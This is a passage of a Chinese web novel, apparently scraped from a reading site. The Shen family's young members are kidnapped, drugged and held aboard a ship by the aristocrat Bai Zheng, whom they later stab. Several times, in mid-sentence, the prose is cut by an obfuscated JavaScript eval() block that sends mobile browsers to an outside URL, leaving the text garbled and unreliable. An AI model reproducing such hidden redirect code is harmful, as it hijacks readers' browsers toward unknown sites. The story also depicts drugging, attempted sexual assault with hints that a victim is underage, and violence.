莫然怔愣在原地,迟疑了片刻,转身拨通电话,“是我,姜小姐出去了,她身边有三个保镖。” 姜花衫出了宴厅便往贵宾通道走去,郑松在隔壁包间请严梅婷喝酒,为保姜花衫安全特意留了三个保镖。 三人神情严峻,其中两人与姜花衫保持一步距离紧随其后,另一人走到前面按下电梯按键。 ‘叮——’ 两台电梯同时抵达。 姜花衫揉了揉眼睛,一抬眼只觉眼前一黑。 一群西装暴徒突然从电梯里冲了出来,为首的男人直接打晕了姜花衫,把人拖进电梯。 事发突然,对方又是有备而来,三名保镖反应不及被一群暴徒围堵,拖进了另外一台电梯。 * 宴厅依旧歌舞升平,主持人已经开始唱诵捐款人的善举,一墙之隔外的世界天差地别,夜幕为衬,一轮残月三两盏星。 风影簌簌,游泳池水涟漪不止。 沈归灵安静坐在池边的藤椅上,桌上还摆着一块精致的蓝莓蛋糕。 “阿灵少爷。” 月光浮动,莫然在原地站了好一会儿,确认周围没有人才慢慢从暗影处走了出来。 沈归灵眼睑微挑,抬头看着眼前的女人。 终于来了。 “少爷,夫人请您去房间说话。” 沈归灵沉默片刻站起身,莫然垂头让路。 这三年来,她几乎目睹了少年被折辱的全部过程。 姚歌知道贵族小姐们对沈归灵趋之若鹜,便时不时举办名流宴,美其名曰是让沈归灵帮忙照拂她们,其实就是任她们调戏、戏弄沈归灵。 如沈兰曦、沈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14064565|149303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清予、周宴珩这样的财阀之子是不可能忍受这样的屈辱的,姚歌就是要以这样的方式告诉所有人,沈归灵就算入了沈家,也永远都是上不了台面的东西。 少年心性过刚易折,原以为沈归灵忍不了几日,没想到他颠覆了所有人的认知,深处淤泥依旧不卑不亢,他认真对待每一个千金贵女,即使对方提出再无礼的要求也能轻易化解。 最后的反转更是让所有人大跌眼镜,刁蛮的贵女们再也不敢戏弄少年,她们争先恐后想要嫁给他,甚至为了他不惜闺蜜反目,离家出走,反抗联姻。 与沈归灵擦肩而过时,莫然缓缓抬眸,正好一束月光落在他的鼻尖,少年的眉眼温柔地不像话。 莫然心怦然跳了一下,不愧是被贵女圈奉为男妲己的人,连月光都偏爱他几分,只可惜…… 沈归灵刚走上台阶,阴影里又窜出两个高大的身影,两人一手捂嘴一人抓手,少年挣扎了片刻就晕了过去。 莫然走上前,看着眼前这张过分俊秀的脸。 只可惜投错了胎。 “把人送过去吧,都谨慎点,别出岔子。” * 金湾毗邻南湾市,而南湾是A国最大的贸易港口。 夜幕之下,平静的河面上倒映着空中残月。 渡口,一艘巨型渡轮十分惹眼,三百五十米的巨幅船身印刻着一对王冠加冕的六翼黄金翅膀,这是身份的象征,即使这艘船驶入无国界的强盗海域也无人敢挑衅。 此刻,渡轮两千多个房间半数都亮着灯火,白纱轻轻飘动,月光从窗扉洒下温柔。 沈归灵半张脸陷在柔软的大床上,缠绵悱恻的歌声从很远处飘来。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩! 第213章 离我远点 沈归灵只觉轰得一下,脑中的思维世界崩塌了。 姜花衫怎么会在这?! 那女人是疯了吗?怎么敢? 他垂眸,看着两人相抵的指尖,良久后摇摇晃晃爬下了床。 房间没有灯,连排窗户都锁死了,除了月光什么都进不来,隔着窗外眺望,一片茫茫无际。 沈归灵回头往床上看了一眼,看来姚歌防着沈家找人,他们现在应该在南湾渡口准备出海了。 没时间了。 沈归灵在房间里环顾了一圈,直接走向联通的书房。 书房很大,奢华的黑金桌面上排放着一台笔记本电脑。 沈归灵走上前察看,难怪‘白先生’敢把电脑堂而皇之摆在这,电脑安装了自毁程序,只要系统监测到外界非法读取就自动开启自毁程序。 但这对他来说不算事,沈归灵只看了一眼,手指在键盘上飞快跳动,五分钟后电脑跳转到正常的运行界面。 沈归灵不敢大意,迅速移动鼠标,目光在屏幕和房门之间来回切换。 找到了。 他眼底泛过暗光,正准备建立数据站,忽然听见门外传来脚步声。 沈归灵当机立断,迅速冲向大床,路过茶几桌面时顺手抽走了一把水果刀。 “咔——” 房门打开的一瞬间,沈归灵正好扑上床。 上空的垂帐轻轻晃动。 床上的两人大眼瞪小眼。 “……” 只觉这一刻沈归灵感觉自己的肾上腺激素飙到了最高值,被吓的。 姜花衫生怕他叫出来,一手捂着他的嘴,做了噤声的动作。 这时,门外的人说话了,“你们在门口守着。” 是个女人的声音。 姜花衫暗舒了一口气,是女人,她暂时安全了。 她的心思就差写到脸上了,沈归灵一眼就看透了。 “……” 姜花衫朝他使了个眼色,驾轻就熟闭上眼。 来人已经走到床边,沈归灵暗暗舒了一口气,跟着闭上眼。 女人将手里的药箱放在地上,从里面取出两支注射药剂,爬上床后先给沈归灵注射了一针,等轮到姜花衫时,女人眼睛一亮,饶有兴致摸了摸她的脸。 “老板从哪找的这么漂亮的小妞,啧啧啧,可惜了……” 女人感叹完,拉下姜花衫的肩带,“算了,看你年纪小,少给你用点。” 针管只推进了一点便拔了出来。 “哎。造孽啊!” 女人正欲起身,转眼看见手里没用完的药,要是被发现可不得了,犹豫片刻女人又提起沈归灵的胳膊,“都给你了。” 沈归灵,“……” “好了,任务完成。” 女人跳下床,将针管扔进药箱,临走前还死死盯着姜花衫的脸。 等人走后,两人都没有动,大约过了三分钟,姜花衫最先受不了,蹭得一下从床上坐起。 咦,好险!还以为遇见女色魔了。 “喂,沈归灵,醒醒?” 姜花衫左右看了看又趴了回去,轻轻推了推沈归灵。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14064566|149303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 沈归灵眉头微蹙,眼眸轻抬,在看见姜花衫的第一眼眼皮跳了跳。 姜花衫凑近了几分,压低声音问道,“这里是哪里?他们是什么人?我们为什么会在这里啊?” 沈归灵偏头避开她的气息,这矮墩哪来这么多为什么?明明大家一起醒来,她凭什么以为他什么都知道? 姜花衫见他歪过头不搭理她,气得直接上手掰正沈归灵的脸,“我问你话呢?我刚刚看见你进那个房间了,你是不是来偷东西的?” “……”沈归灵轻轻拂开她的手,慢慢坐了起来,“你早就醒了?” 他的声音有些哑。 姜花衫,“也没有很早,我听见房间里有动静以为是坏人,你扑上来我才知道是你。” 沈归灵捂着手臂,刚刚那女人给他打了两针,以他现在的反应,沈归灵大概也猜到了是什么药。他有些头疼,捏了捏眉心,“你在这里不要动。” 说罢,直接下了床往书房走去。 现在情况更复杂了,必须尽快解决。 沈归灵拿出藏在腰间的水果刀对着自己的掌心划了一刀,身体的疼痛暂时拉回了一点理智,他沉着脸手指在键盘飞快输入。 建立云端空间站,把这些证据都拷贝到他的云端去,这样就算被‘白先生’抓住,他也可以此威胁让他放了他们。 “沈归灵,你在干什么?偷资料吗?” 鼻尖忽然传来草莓蛋糕的味道,沈归灵闭了闭眼,掌心抵着姜花衫伸过来的头把人推了出去。 “离我远点……” …… 第214章 我们约法3章吧(补齐) 金湾,海市蜃楼。 人声鼎沸的宴会被中途叫停,一群黑衣保镖驻守着宴会所有进入口,大厅里的宾客各自坐在自己的席位上大气都不敢出。 顶层包间。 偌大的横厅玻璃倒映着屋内压抑诡谲的气氛。 沈庄双手拄着拐杖,坐在主位闭目养神。 沈兰曦和沈清予站在两侧,一个面无表情,一个压着怒火。 姚歌扑在沙发一侧,捂着脸小声低泣。 沈谦被她哭的心烦,又担心老爷子迁怒二房,装模做样冷声呵斥,“行了!在你的宴会上丢了人你还好意思哭?” “就是这样我才冤啊,也不知道到底是谁这么可恶?!衫衫和阿灵要出了什么事我可就跳进黄河都洗不清了。” 姚歌越说越委屈,泪眼婆娑看向沈庄,“爸!我一发现衫衫失踪就联系您了,这事真的跟我没关系。” 沈清予睨了姚歌一眼,“爷爷又没说跟大伯母有关系,大伯母一直解释做什么?五叔已经派人去查了,相信很快就会有结果,大伯母不妨稍安勿躁安静等消息。” 姚歌顿然语塞,见沈庄没有表态,只能悻悻低头擦眼泪。 白峥把人弄走后,她算准了时机故意通风报信,原本是想把自己摘干净,但万万没想到,半个小时候后,金湾上空就出现五架直升飞机,沈庄带着半数沈家人直接空降海市蜃楼。 她刚刚哭成那样也不全是做戏,有一半是真被吓到了。 沈谦不动声色打量沈庄,但老爷子双目紧闭丝毫看不出情绪。 屋内再次陷入沉静。 这时,门外传来响动,沈让推门而入,沈执紧随其后。 沈庄缓缓睁开眼,深邃的眼底依旧看不出情绪。 随着沈让的出现,姚歌一颗心悬到了嗓子眼。 沈让,“爸,宴会期间的监控被人损坏了,暂时查不到线索。不过根据大嫂提供的失踪的时间,他们大概率应该还在金湾,我已经命人把进出金湾所有的路口和港口都封锁了。” 闻言,姚歌暗暗舒了一口气。 殊不知她故意延迟了十分钟的误差,现在那个小野种和小贱人已经出了金湾地界,三个小时后就要跟着白家的‘路西法一号’出海了,只要出了A国内海,他们这辈子都别想再回来了。 沈谦立马站起身,“爸,既然锁定了地界,这件事就交给我吧?” 这段时间为了议员长竞选,沈谦基本已经渗透了金湾当局,他主动揽下这件事,一是为了讨好沈庄,二是想向沈庄表现自己的实力。 沈庄摇头,“不急,再等等。” 再等等? 等什么? 姚歌忽然有种不好的预感,她转头看向沈谦,但沈谦也是面露疑虑,显然也不懂其中深意。 就在这时,郑松推门走了进来。 “老爷子。” 沈庄大拇指轻轻擦过龙嘴里的檀珠,“找到了?” 郑松点头,“是,定位显示姜小姐现在在南湾渡口,‘路西法一号’渡轮上。” “!” 姚歌一脸错愣?! 怎么可能? 沈让也是一脸难以置信。 “‘路西法一号’?”此刻,沈庄脸上的神情隐隐有了几分肃杀,“这么说,绑架衫衫和阿灵的事跟白家有关系?” 郑松,“目前看来,的确如此。” 沈庄只思忖了片刻,缓缓站起身,“沈执,通知南湾军舰给我封锁内海。” 沈谦愕然,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14064567|149303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可思议看着沈庄,“爸,无故封锁内海只怕不妥吧?” 南湾是A国最大的贸易渡口,每天在此处停转的渡轮商船数不胜数,无故封锁内海很容易引发外交事故。 沈庄的态度不容置喙,“不封海难不成要我看着自己的孙女和孙子被人拐走?” 沈谦赶紧解释,“爸,我不是这个意思,阿灵是我的孩子,我怎么可能不担心他。只不过,五弟刚刚也说了那伙贼人可能还在金湾,这回又说在白家船上,我们是不是应该查清楚了再行动?” 郑松面无表情,“查的很清楚,姜小姐失踪前问我要了隐形追踪器,定位显示就在南湾渡口。” “!”这句话差点没把姚歌吓死,一时情急脱口问道,“什……什么隐形追踪器?” 郑松,“这是实验室最新研发的人体定位器,不用植入体内,用特定胶水黏在皮肤上几乎可以以假乱真,而且不管再精细的仪器都检测不出来。” “……”谁问这个了?姚歌脸上的情绪几乎快要绷不住了,“你说衫衫身上有追踪器?” 郑松点头。 沈谦总算明白怎么回事了,但细细一想又觉得漏洞百出,“既然她身上有定位器,怎么不一失踪就去找?还让人绑到了南海?” 郑松沉默了片刻,看向沈庄,“这也是姜小姐的意思,她说她要抓鬼。” “抓鬼?”沈谦表情一言难尽,“抓什么鬼?这不是拿自己的生命安全胡闹吗?” 郑松,“定位器可以监控姜小姐的心律,如果她受到威胁,我们的人会立马出手,但如果她没有发出求救信号,我们就要一直等。就在刚刚,姜小姐的心率加快 了,所以我已经安排人上船了。” 这章没有结束,请点击下一页继续阅读! 第215章 沈兰曦的战场 ‘路西法一号’的初代主人是白家亲王白宸,这位亲王曾带领‘路西法’周游列国,所到之处皆被奉为座上宾无有怠慢。 白宸在世时,S国被世界强权亲切称为‘亲王时代’。但白峥怎么都没想到,他作为‘路西法’二代主人,初次登船便让白家的荣耀在A国内海名誉扫地。 十分钟前,‘路西法一号’按原定计划准备返航,不料港口突然忽然戒严,整个南湾海域的军舰都出动了。 ‘路西法一号’纵长三百五十米,总重25万吨,此刻就像一个庞然巨物盘踞在渡口。 “公爵大人,A国无故封锁海域,我们是否要向女王致电?” 此刻聚集在宴会密室里的都是白峥的心腹家臣,宴会开到一半被对方用炮火逼停,众人除了愤怒更多的还是不安。 白峥漫不经心擦拭着手里的新型手枪,“不需要,女王可没心思关心这种小事,对方怎么说?” 身后的助理弯腰回道,“他们怀疑我们利用邮轮贩卖人口,现在要求我们停船接受调查。” 白峥站起身,将手枪藏进衣服内里,“既然如此,就让他们搜吧。” “是。”助理瞬间明白了男人的意思,直起身走出了内室。 * 与此同时,南湾渡口的监控室里气氛分外沉重。 塔台传来消息,已经成功阻拦‘路西法一号’启航,现在准备登船搜捕。 沈兰曦盯着大屏幕上的卫星图,思忖了许久转头看向沈让,“小叔,白家的态度不对劲,我担心他们会对外交施压延误艘船时间,追踪位置锁定了吗?” 沈让点头,“已经完全锁定了,衫衫现在应该藏在固定位置。放心吧,登船五分钟内一定可以把人救出来。” 闻言,沈兰曦眼中的凝重缓和了一点。 他们现在唯一的优势就是白家人还不知道姜花衫身上有定位器,但沈家反应这么快,对方如果聪明现在应该也已经察觉了。 白家人十个里面九个都是疯子,所以当务之急是必须要快,否则只怕那两个人都会有危险。 没等三人松口气,塔台再次传来消息。 “长官,我军已成功登陆‘路西法一号’,对方要求出示搜捕文书,目前搜捕工作无法开展,请长官指示!” 今晚所有行动都刻意避开了两国邦交,哪有什么搜捕文书? 沈清予站起身,神情冷峻,“白家果然在拖延时间。” 沈兰曦思忖片刻,关闭塔台信息,转头看向沈让,“小叔,沈家暗堂的海狮号进内海了吗?” 沈让点头,“早就到了,一直在渡口待命。” 沈兰曦,“小叔,通知海军舰即刻下船,让沈家暗堂登船。” A国海军舰搜查需要搜捕文书,那是因为大国之间有外交合约,但如果换成沈家暗卫,那就是个人行为不受条约约束,就算白家秋后算账也只能针对沈家。 沈让也明白其中厉害,应道,“我知道了,我这就去安排。” “小叔。”沈兰曦站起身,表情淡淡,“我跟你一起去。” 沈让一愣,想也不想立马否决,“不行!白家没一个善茬,尤其是这个白峥,你留在这里我才能保证你的安全。” 沈兰曦摇头,“不!我必须去!就像爷爷说的,没有人能在沈家的眼皮子底下带走沈家人。白峥手底下的家臣没一个省油灯,小叔你救人不能分散精力,我去可以帮你稳住局面。” 沈让一时犹豫,话是这么说没错,可万一沈兰曦再出什么事,他可就万死不辞了。 沈清予看沈兰曦一眼,往前一步,“五叔要是觉得为难就让我去吧?” 沈让无语,“你去和兰曦去有什么不同?你们两个都不许去!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14064568|149303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “……”沈清予表情微妙,他当然是觉得有不同才说的,因为沈兰曦才是被爷爷寄予希望的家族继承人,他不是。 但沈让不假思索的一句‘有什么不同’让他脑子嗡了一下,不自觉就想起了三年前那张金卡,一时想不出什么反驳的话。 沈兰曦,“小叔,爷爷让我跟来南湾时特意交代过,我可以做主。沈家的战场就是我的战场,既然是我的战场,自然我说的算。” 沈让微愣,眼底泛过暗光,记忆中曾经也有一个人拍着他的肩膀,指着波澜壮阔的海面笑着对他说,“阿让,我走了,我要去奔赴我的战场了。” 沈让轻叹了一声,转过身,“好好保护自己。” 沈兰曦点头,刚抬腿,沈清予忽然一把拽住他的胳膊,沈兰曦抬眸,目光淡淡。 沈清予臭着这一张脸,“我也去,……哥。” * 三分钟后,海军舰从‘路西法一号’撤离,就在白家的家臣们准备欢呼庆祝时,海上的夜幕里忽然出现一排排黑色小战舰,数量之多让人不寒而栗。 “轰隆——轰隆——” 漆黑的上空被一架架直升飞机照亮,螺旋桨传来整齐一致的风裂声,盘旋的气浪慢慢下沉,剧烈的强风吹得甲板上的人眼睛都睁不开,众人意识到事态愈发严重,纷纷向内舱退去。 直升机降落,舱门打开,沈兰曦单手撑在舱门上沿,黑色的风衣 被海风吹得猎猎作响。 “你们是什么人?这里是A国国界,我们的船是合法……” 为首的家臣企图用之前那套应付沈兰曦,沈清予从半空中跳下,直接把人踹翻。 “沈家找人,不想死的都给我滚一边去。” 话音一落,一群黑色冲锋衣从四面八方登船,沈让使了眼色,所有人如黑蚁迁巢涌进船舱。 …… 第216章 你我约定 “看清楚了吗?真朝我们这边来了?” 一群肤色各异的男人躲在房间里偷偷观察外面的情况,屋内摆满了各类枪支弹药。 “shit!不会真是冲我们来的吧?这可怎么办?现在南湾海域被封,我们要是被抓牢底要被坐穿的。” “老大,怎么办?你倒是说句话啊?” 独眼男人阴沉着脸,表情凝重看着眼前的兄弟们。 他们是沃琉海域的流匪,臭名昭彰,为了巩固势力特意来A国进点军火,原本混进白家的船就是为了掩饰身份,没想到还是被发现了。 男人咬着嘴里的雪茄,犹豫片刻冷冷道,“先看看情况,也许不是冲我们来的。” 话音一落,房门外就被人用力踹了一脚。 一群流匪脸色骤变,独眼男人扔下雪茄,扛起手里的冲锋枪,“兄弟们,我们跟他们拼了。” 门外的男人踹了一脚就被身边的同伴拉住了,“堂主吩咐去顶楼。” 男人表情古怪,“我刚刚好像不受控制。” “行了!赶紧跟上。” 两人刚转身,身后的门突然打开,不等他们反应,脖子被人用长锁套住,其中一人在垂死之际用力扣动手里的扳机。 “砰——” 一声枪响。 沈让脚步一顿,低头向台阶看去。 流匪们心知已经败露,直接开火杀进主宴厅。 整个邮轮都乱了,宾客们吓的尖声惊叫四处逃窜,一时间人潮暴动,相互踩踏。 沈兰曦和沈清予对视了一眼,高止带着一群暗卫在两人面前立起了人墙。 “砰——” 又一声枪响! 人墙中的一人爆头倒地,高止立马补上空位,目光如鹰四处扫视。 “两点钟方向有狙击手。” 潜伏在房间窗下的狙击手意识到自己已经暴露,转身拆了头套,开门混进逃窜的人群里。 “老板,沈家小太子身边人太多了,我没找到机会下手。” 对方不知道说了什么,女人啧了一声挂了电话。 遇上一个疯子老板真的很伤脑筋啊,每天做不完的缺德事,什么时候老天开眼给她换个主子吧?! * 白峥挂了电话,人已经来到了暗室门口。 守在门外的保镖认出了他立马上前行礼。 白峥指了指密室外的电梯,“出去守,别让人进来。” 四个保镖立马转身出了走廊。 白峥从西装内衬拿出钥匙,锁片插入锁孔的同时,另一只手单手打开了手枪的保险。 沈家人竟然这么快就找过来了,看来他还是太小看这两只小宠物了。 打开门口,白峥又开亮了房间所有的灯,摆放在大厅中间的床上此时空无一人。 白峥眼中浮过一丝暗涌,这暗室是他的专属游戏间,除了保镖把守的入口根本无处可逃,安提三十分钟前才给他们注射过催情剂,所以小宠物们这是躲起来了。 男人稍稍思忖了片刻,反手关门,嘴角勾起一丝玩味。 没想到小宠物们还给他安排了一场余兴节目,那他可得好好享受享受。 男人有恃无恐走进房间,沿着屋内的华丽家具摸了一圈,然后挨个搜了起来。 “我看看,会先抓住谁呢?” “别急,一个一个来,你们一个都跑不了。” 屋内的装修是黑色的洛可可风,家具也就只有几样,基本都是装饰,偌大的衣橱打开连一件衣服都没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14064569|149303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有,一眼看过去无所遁形。小宠物们显然也知道这一点,柜子里和衣橱都没有人。 “噢,实在是太可惜了,就差一点就找到了。” 一轮扑空,男人不仅没有生气,反而更加兴奋了,走进书房时随意瞥了瞥桌上的茶几,两把水果刀也不见了。 男人笑了笑,沿着书桌开始搜查,摸到冰冷的台面时,指尖微微一顿,沾取桌上的黏液往鼻尖嗅了嗅。 血? 白峥眼里的兴奋冷了不少,眼眸微眯看向桌上的笔记本。 他左右看了看,用一根手指撩开笔记本,键盘上的血渍比台面更多。 他们碰了他的电脑。 白峥不急不慢输入了一串密码,电脑立马跳入了运转界面,他点开加密文件发现东西还在,正要舒一口气,忽然灵光一闪。 这键盘有血,说明有人动过他的电脑,可是……自毁程序没有开启。 白峥缓缓抬眸,大拇指划过击锤,子弹上膛的声音就像极光圈突然爆破的冰山。 姜花衫躲在一步之遥的窗帘后瑟瑟发抖。 白峥目光在书房转了一圈,不觉落在黑色窗帘上,他犹豫片刻,转身走向一排陈列的书架。 姜花衫闭着眼,心跳如雷。 正当白峥指尖接触到窗帘时,书房外发出一声异响,白峥脸色一变立马跑了出去。 姜花衫吓的手脚冰冷,趁着白峥转身立马从窗帘跑到房门后。 “哈哈哈,小宝贝~我还没找你怎么就耐不住了?” 沈归灵手里握着尖刀,反手切断了入户的电闸。 “嗞——”的一声,幽森的房间立马陷入了昏暗。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩! 第217章 打不赢就加入 “倔强的小家伙。” 沈归灵的反抗让白峥很不高兴,男人解开西装纽扣,对着沈归灵的右腿开了一枪。 子弹穿过肉体,鲜血四溅,染红了白色的床单。 姜花衫一只脚刚踏出房门,猛地听见身后传来枪响,身体的血液一瞬间烧了起来。 此时,白峥的注意力已经完全被沈归灵吸引住了,他身下染着大片血迹,明明已经虚弱地不行,但那双眼睛却像被洗去尘埃的珍珠,盈盈生辉。 有意思,这样看更像了! 白峥眼里的欲望愈演愈烈,不顾沈归灵腿上有伤,压着他受伤的腿兴致盎然撕扯着他的衬衣。 姜花衫紧紧握着房门把手,指尖泛白。 ‘刺啦——’ 裂帛之声,如雷贯耳。 “男孩子一个人在外面很危险的,尤其是像你这样的交际花,带我去,我可以保护你。” 曾经的约定,言犹在耳。姜花衫闭了闭眼,慢慢卸了手指的力。 白峥正沉浸在失而复得的喜悦中,迫不及待脱了身外的外套,正准备脱里面的衬衣时,感觉有人悄悄靠近,他漫不经心举起枪对准来人的眉心。 “想偷袭?我要是你,刚刚那么好的机会一定会好好把握,可惜了,这小子拼命帮你打开了逃生之门要关了。” 原本白峥还想睁只眼闭只眼,反正这小家伙就算逃到外面也会有人收拾她,谁知她偏偏作死,要往他的枪口上撞。 白峥眼底掠夺暗色,正欲扣下扳机,姜花衫一把抓住额头的枪,一副泫然欲泣的模样。 “不不,您误会了!我不是要偷袭,我是来加入你们的。” “……” 白峥出身高贵,形形色色什么样的人都见过,但如姜花衫这样的他还是第一次见。她真的每次都可以跳出他的意料之外,不然也不会临时起意把人抓来。 男人看着眼前眼神迷离的女孩儿,冰冷的枪械从眉心滑落抵着她的下巴,“你刚刚说什么?” 姜花衫小心翼翼爬上床,楚楚可怜,“我爷爷教我的,打不过就加入,我不知道怎么了,我就是不受控制,想……想……”她侧头看向陷在床里的沈归灵,“想要他。” 沈归灵眼里的光忽然静止,目不转睛看着姜花衫。 白峥表情怪异,目光在两人之间游离。 姜花衫立马转过头,一把抓住男人的衣角,“大叔,我爷爷最宠我了,他死没关系,但我不能有事,不然我爷爷绝不会放过你的。” 她说话声呼吸急促,隐隐有些神志不清的癫狂。 白峥隔着一层衣料都能感觉到女孩的手有多烫,那药可不是外面的流通货,按他配制的剂量就算再贞洁的烈女也会被磨成荡妇。 所以姜花衫眼下的状态他并不怀疑。 “不行不行!我真的受不了,要不我先来吧!” 走色魔的路,让色魔无路可走。 姜花衫一脸急不可耐,准备扑人。 “什么你先来?”白峥完全没想到另一个小宠物是这种画风,一把拽住姜花衫,“你等会儿!” 姜花衫忍痛,“那你先?” “……”白峥眉心跳了跳,不动声色打量姜花衫。 “这也不行?”姜花衫愈发狂躁,“那我们一起?求求你了,我真的受不了。那个女人给我打了两针,我现在感觉自己要烧起来了。” 白峥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14064570|149303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 转头看向沈归灵,眼中多了分释然,难怪这狼崽子这么清醒,原来是这样。 安缇那家伙天天想跳槽,没想到下个药都这么不靠谱。 白峥收枪,目光幽幽看着姜花衫,“我电脑里的东西是谁偷的?” “他!”姜花衫毫不犹豫指向沈归灵,“是他,跟我没关系。他偷了一串乱码,连我都防着。那个,我们别聊天了好不好,直接DO吧!” “我知道你为什么抓我们,但是我告诉你,我要出了什么事我爷爷一定不会善罢甘休的。你也只不过是图一乐,何必搭上身家性命呢?” 白峥眼中略有思量。 他原本以为可以神不知鬼不觉把两人偷回S国,但没想到还没出海就暴露了。原本他急着回来就是打算玩完再杀人灭口,可是眼前这个替身如此完美,倒让他有些舍不得了。 姜花衫看出了白峥在犹豫,立马乘胜追击,“我爷爷只在乎我,他不会管一个私生子的死活。只要你放了我,沈归灵你尽管带走。” 白峥,“你们谁身上有定位器?” “我。”姜花衫扯下自己的肩带,神智不清指着被打的针眼,“我爷爷担心我出事,在我很小的时候就在我体内植入了追踪器,整个沈家只有我有。” 白峥看着她胳膊上的针眼,眼神多了几分玩味,“我怎么相信你?” 姜花衫,“我刚刚不是说了我先吗?求求您了,我感觉自己要爆炸了。兄妹乱伦是家族丑闻,今晚之后就算你愿意,我也不会让他活着回到沈家的。爷爷这么喜欢我,我绝不能让他知道我做了什么?你不是喜欢他吗?有我相助,我爷爷一定不会怀疑你。” 这章没有结束,请点击下一页继续阅读! 第218章 守护!白峥之死 姜花衫拿过他手里的刀。 白峥眼眸逆光,搭在腰间的手已经停了下来。 “砰——” 下一秒,刀被扔下了床。 “床上不要玩这么危险的东西,万一伤到人怎么办?” 床上两人耳鬓厮磨,白峥再抑制不住心底的欲望,迫不及待解皮带。 不行! 再这样他会失控的。 沈归灵转头,一侧脸靠着姜花衫的头,声音嘶哑,“下来!” “不要。”姜花衫拉着他的手探向裙底。 沈归灵好像听见脑子里传来‘崩’的一声,他知道,那根理智的弦断了。 “不行!” 他用仅剩的力气侧过身想把姜花衫甩下来,但姜花衫早有防备,抓着身下的被子,搂着他的脖子,两人裹着带血的被子在床上滚了一圈。 两具青涩的身体都烫得要命。 姜花衫一时失神,慢了半拍,一只滚烫的大手已经摸进了裙摆,触及到她绑在大腿的水果刀才停了下来。 刚刚两人动作太大,水果刀已经刮破姜花衫的腿。 沈归灵摸到她的伤口时顿了顿。 白峥见两人包进了被子里,走上前一把掀开被子,此刻沈归灵将人压在身下,一只手扣住姜花衫的脖子,青丝扑满了半个身子。 活色生香。 眼前的刺激让白峥兴致大发,他已经脱了个精光,邪笑压着沈归灵的肩膀,准备扒他的裤子。 沈归灵脸色微变,在白峥压下来的瞬间抽出水果刀,反身对着白峥的胸口刺去。 “扑哧——” 滚烫的鲜血飞溅。 白峥难以置信看着胸口的刀,他怎么忘了,一共有两把刀。白峥反应极快,反手握住胸前的刀,一手重重捶打在沈归灵中枪的伤口上。 沈归灵疼得浑身颤抖,栽头倒下。 白峥怒不可遏,拔出胸口的刀对着沈归灵刺去。 “去死!” 关键时候,姜花衫抱头对着白峥撞了过去,白峥一把抓着她的头发,“小贱人,竟然耍我。” “你才是贱人!这个世界上最贱的人。” 姜花衫突然暴动,对着白峥空挡一个顶膝。 白峥嗷呜惨叫了一声,直接把姜花衫甩了出去。 “贱人!我要杀了你。” 